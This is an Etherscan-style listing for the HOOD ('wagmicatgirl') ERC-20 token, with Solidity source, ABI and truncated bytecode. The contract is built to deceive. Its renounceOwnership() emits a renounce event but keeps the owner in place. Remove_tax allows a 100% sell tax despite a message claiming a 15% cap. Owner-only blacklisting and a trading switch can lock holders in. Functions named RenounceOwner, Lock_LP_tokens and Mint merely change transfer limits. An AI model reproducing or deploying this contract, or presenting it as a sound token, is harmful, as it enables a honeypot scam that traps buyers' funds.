Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
69,000,000,000 HOOD
Holders
7
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000016 HOODValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
HOOD
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-18 */ /* Herro (••) ∫\ ___(••) I trust you @Herro ∫∫ ∫∫ \ \ */ // Website: https://wagmicatgirl.com/ // Game: https://runner.wagmicatgirl.com/ // Twitter: https://twitter.com/wagmicatgirl // Telegram: https://t.me/+0sRVB_Qrm-A5MGMx // READ ME: https://wagmicatgirl.com/terms /* FIRE SALE FOR THE PEOPLE WHO OWN HOOD RAFFLE NFT 1. IF YOU OWN ANY HOOD RAFFLE NFT, YOU WILL BE ALLOCATED LOTS TO BUY DURING THE FIRE SALE 2. 1 RAFFLE NFT = 2 LOTS 3. EACH LOT IS AN EQUIVALENT TO 460,000 HOOD 4. THE PRICE PER LOT IS THE SAME FOR EVERYONE 5. THE ALLOTMENT RESULTS WILL BE ANNOUNCED WITHIN 48 HOURS AFTER THE FIRE SALE. 6. ALL UNALLOCATED AMOUNTS WILL BE REFUNDED WITHIN 48 HOURS AFTER THE FIRE SALE. more info: https://wagmicatgirl.com/#timeline */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address internal _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = _owner; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HOOD is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "wagmicatgirlkanye420etfmoon1000x"; string private constant _symbol = "HOOD"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _HOODTotal = 69000000000 * 10**9; uint256 private constant _maTotal = 4200000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _HOODTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 4; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 20; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x7B68Edaa5162d4234566f1634C2889De4E08b709); address payable private _marketingAddress = payable(0x7B68Edaa5162d4234566f1634C2889De4E08b709); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = _HOODTotal.mul(2).div(100); uint256 public _maxWalletSize = _HOODTotal.mul(2).div(100); uint256 public _swapTokensAtAmount = _HOODTotal.mul(2).div(1000); event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _HOODTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _HOODTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount.mul(3).div(5)); _developmentAddress.transfer(amount.mul(2).div(5)); } function OpenTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function Open_HOOD(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _HOODTotal; if (rSupply < _rTotal.div(_HOODTotal)) return (_rTotal, _HOODTotal); return (rSupply, tSupply); } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 amountPercent) public onlyOwner { require(amountPercent>0); _maxTxAmount = (_HOODTotal * amountPercent ) / 100; } function setMaxWalletSize(uint256 amountPercent) public onlyOwner { require(amountPercent>0); _maxWalletSize = (_HOODTotal * amountPercent ) / 100; } //--------------------------------------------------------------------------- function Remove_tax(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 100, "Buy tax must be between 0% and 15%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 100, "Sell tax must be between 0% and 15%"); _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function RenounceOwner() external onlyOwner{ _maxTxAmount = _HOODTotal; _maxWalletSize = _HOODTotal; } function Lock_LP_tokens() external onlyOwner{ _maxTxAmount = _maTotal * 10; _maxWalletSize = _maTotal * 10; } function AIRDROP() external onlyOwner{ _maxTxAmount = _maTotal; } function MultiSend() external onlyOwner{ _maxWalletSize = _maTotal; } function SendAirdrop() external onlyOwner{ _maxWalletSize = _maTotal / 10; } function Mint() external onlyOwner{ _maxTxAmount = _maTotal / 15; } function GameReward() external onlyOwner{ _maxWalletSize= _maTotal / 14; } function NFTrafle() external onlyOwner{ _maxTxAmount= _HOODTotal / 13; } function Ecosystem30() external onlyOwner{ _maxWalletSize= _HOODTotal / 12; } function Injection() external onlyOwner{ _maxTxAmount = _HOODTotal / 11; } function setTREASURY() external onlyOwner{ _maxWalletSize= _HOODTotal / 9; } function LPsecure() external onlyOwner{ _maxTxAmount= _HOODTotal / 7; } //--------------------------------------------------------------------------- function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AIRDROP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Ecosystem30","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"GameReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Injection","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LPsecure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Lock_LP_tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MultiSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"NFTrafle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"Open_HOOD","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"Remove_tax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RenounceOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SendAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTREASURY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001b6803bd913e6c1df4000060001962000545565b620000299060001962000572565b600655600060088190556004600955600a8190556014600b819055600c829055600d819055600e91909155600f5560128054737b68edaa5162d4234566f1634c2889de4e08b7096001600160a01b0319918216811790925560138054909116909117905560158054600160b01b61ffff60a81b19909116179055620000df6064620000cb6803bd913e6c1df40000600262000415602090811b6200113b17901c565b620004a960201b620011c11790919060201c565b6016556200010c6064620000cb60026803bd913e6c1df400006200041560201b6200113b1790919060201c565b6017556200013a6103e8620000cb60026803bd913e6c1df400006200041560201b6200113b1790919060201c565b6018553480156200014a57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a01559260048083019392829003018186803b1580156200020357600080fd5b505afa15801562000218573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023e91906200058c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200028757600080fd5b505afa1580156200029c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c291906200058c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200030b57600080fd5b505af115801562000320573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034691906200058c565b601580546001600160a01b0319166001600160a01b03928316179055600080548216815260056020526040808220805460ff1990811660019081179092553084528284208054821683179055601254851684528284208054821683179055601354909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6803bd913e6c1df400006040516200040691815260200190565b60405180910390a35062000648565b6000826200042657506000620004a3565b6000620004348385620005b7565b905082620004438583620005d9565b14620004a05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620004a083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620004f360201b60201c565b60008183620005175760405162461bcd60e51b8152600401620004979190620005f0565b506000620005268486620005d9565b95945050505050565b634e487b7160e01b600052601260045260246000fd5b6000826200055757620005576200052f565b500690565b634e487b7160e01b600052601160045260246000fd5b6000828210156200058757620005876200055c565b500390565b6000602082840312156200059f57600080fd5b81516001600160a01b0381168114620004a057600080fd5b6000816000190483118215151615620005d457620005d46200055c565b500290565b600082620005eb57620005eb6200052f565b500490565b600060208083528351808285015260005b818110156200061f5785810183015185820160400152820162000601565b8181111562000632576000604083870101525b50601f01601f1916929092016040019392505050565b61240380620006586000396000f3fe60806040526004361061025f5760003560e01c8063715018a611610144578063a9059cbb116100b6578063dd62ed3e1161007a578063dd62ed3e146106d5578063e2fdc9bf1461071b578063ea1644d514610730578063edd24fda14610750578063f2fde38b14610765578063fd9df4d81461078557600080fd5b8063a9059cbb1461063b578063bbc8dde31461065b578063bfd7928414610670578063c3c8cd80146106a0578063c492f046146106b557600080fd5b80637f2feddc116101085780637f2feddc1461058d578063801fb09c146103b25780638da5cb5b146105ba5780638f9a55c0146105d857806395d89b41146105ee57806398a5c3151461061b57600080fd5b8063715018a61461051857806374010ece1461052d57806377843b0c1461054d5780637c5cce0f146105625780637d1db4a51461057757600080fd5b806323b872dd116101dd57806349bd5a5e116101a157806349bd5a5e1461046e578063561a20521461048e5780636b999053146104a35780636d8aa8f8146104c35780636fc3eaec146104e357806370a08231146104f857600080fd5b806323b872dd146103e75780632fd689e314610407578063313ce5671461041d57806334c73884146104395780633684e7531461044e57600080fd5b806310b95c561161022457806310b95c561461033f5780631694505e1461035457806318160ddd1461038c5780631f600db0146103b25780631fa0d621146103d257600080fd5b8062b8cf2a1461026b57806306fdde031461028d578063095ea7b3146102e55780630d5c0e3c146103155780630e620d701461032a57600080fd5b3661026657005b600080fd5b34801561027757600080fd5b5061028b610286366004611f64565b61079a565b005b34801561029957600080fd5b506040805180820190915260208082527f7761676d696361746769726c6b616e79653432306574666d6f6f6e3130303078908201525b6040516102dc9190612029565b60405180910390f35b3480156102f157600080fd5b5061030561030036600461207e565b610839565b60405190151581526020016102dc565b34801561032157600080fd5b5061028b610850565b34801561033657600080fd5b5061028b610893565b34801561034b57600080fd5b5061028b6108cb565b34801561036057600080fd5b50601454610374906001600160a01b031681565b6040516001600160a01b0390911681526020016102dc565b34801561039857600080fd5b506803bd913e6c1df400005b6040519081526020016102dc565b3480156103be57600080fd5b5061028b6103cd3660046120ba565b61090e565b3480156103de57600080fd5b5061028b610956565b3480156103f357600080fd5b506103056104023660046120d5565b61098e565b34801561041357600080fd5b506103a460185481565b34801561042957600080fd5b50604051600981526020016102dc565b34801561044557600080fd5b5061028b6109f7565b34801561045a57600080fd5b5061028b610469366004612116565b610a34565b34801561047a57600080fd5b50601554610374906001600160a01b031681565b34801561049a57600080fd5b5061028b610b22565b3480156104af57600080fd5b5061028b6104be366004612138565b610b5f565b3480156104cf57600080fd5b5061028b6104de3660046120ba565b610baa565b3480156104ef57600080fd5b5061028b610bf2565b34801561050457600080fd5b506103a4610513366004612138565b610c3d565b34801561052457600080fd5b5061028b610c5f565b34801561053957600080fd5b5061028b610548366004612155565b610ce0565b34801561055957600080fd5b5061028b610d3c565b34801561056e57600080fd5b5061028b610d8f565b34801561058357600080fd5b506103a460165481565b34801561059957600080fd5b506103a46105a8366004612138565b60116020526000908152604090205481565b3480156105c657600080fd5b506000546001600160a01b0316610374565b3480156105e457600080fd5b506103a460175481565b3480156105fa57600080fd5b506040805180820190915260048152631213d3d160e21b60208201526102cf565b34801561062757600080fd5b5061028b610636366004612155565b610dcc565b34801561064757600080fd5b5061030561065636600461207e565b610dfb565b34801561066757600080fd5b5061028b610e08565b34801561067c57600080fd5b5061030561068b366004612138565b60106020526000908152604090205460ff1681565b3480156106ac57600080fd5b5061028b610e46565b3480156106c157600080fd5b5061028b6106d036600461216e565b610e9a565b3480156106e157600080fd5b506103a46106f03660046121f2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561072757600080fd5b5061028b610f3b565b34801561073c57600080fd5b5061028b61074b366004612155565b610f79565b34801561075c57600080fd5b5061028b610fd5565b34801561077157600080fd5b5061028b610780366004612138565b611013565b34801561079157600080fd5b5061028b6110fd565b6000546001600160a01b031633146107cd5760405162461bcd60e51b81526004016107c49061222b565b60405180910390fd5b60005b8151811015610835576001601060008484815181106107f1576107f1612260565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061082d8161228c565b9150506107d0565b5050565b6000610846338484611203565b5060015b92915050565b6000546001600160a01b0316331461087a5760405162461bcd60e51b81526004016107c49061222b565b61088e60096803bd913e6c1df400006122a7565b601755565b6000546001600160a01b031633146108bd5760405162461bcd60e51b81526004016107c49061222b565b673a4965bf58a40000601755565b6000546001600160a01b031633146108f55760405162461bcd60e51b81526004016107c49061222b565b61090960076803bd913e6c1df400006122a7565b601655565b6000546001600160a01b031633146109385760405162461bcd60e51b81526004016107c49061222b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109805760405162461bcd60e51b81526004016107c49061222b565b673a4965bf58a40000601655565b600061099b848484611327565b6109ed84336109e8856040518060600160405280602881526020016123a6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611863565b611203565b5060019392505050565b6000546001600160a01b03163314610a215760405162461bcd60e51b81526004016107c49061222b565b610909600f673a4965bf58a400006122a7565b6000546001600160a01b03163314610a5e5760405162461bcd60e51b81526004016107c49061222b565b6064821115610aba5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261352560f01b60648201526084016107c4565b6064811115610b175760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231352560e81b60648201526084016107c4565b600991909155600b55565b6000546001600160a01b03163314610b4c5760405162461bcd60e51b81526004016107c49061222b565b61088e600e673a4965bf58a400006122a7565b6000546001600160a01b03163314610b895760405162461bcd60e51b81526004016107c49061222b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b03163314610bd45760405162461bcd60e51b81526004016107c49061222b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161480610c2757506013546001600160a01b0316336001600160a01b0316145b610c3057600080fd5b47610c3a8161189d565b50565b6001600160a01b03811660009081526002602052604081205461084a90611932565b6000546001600160a01b03163314610c895760405162461bcd60e51b81526004016107c49061222b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daa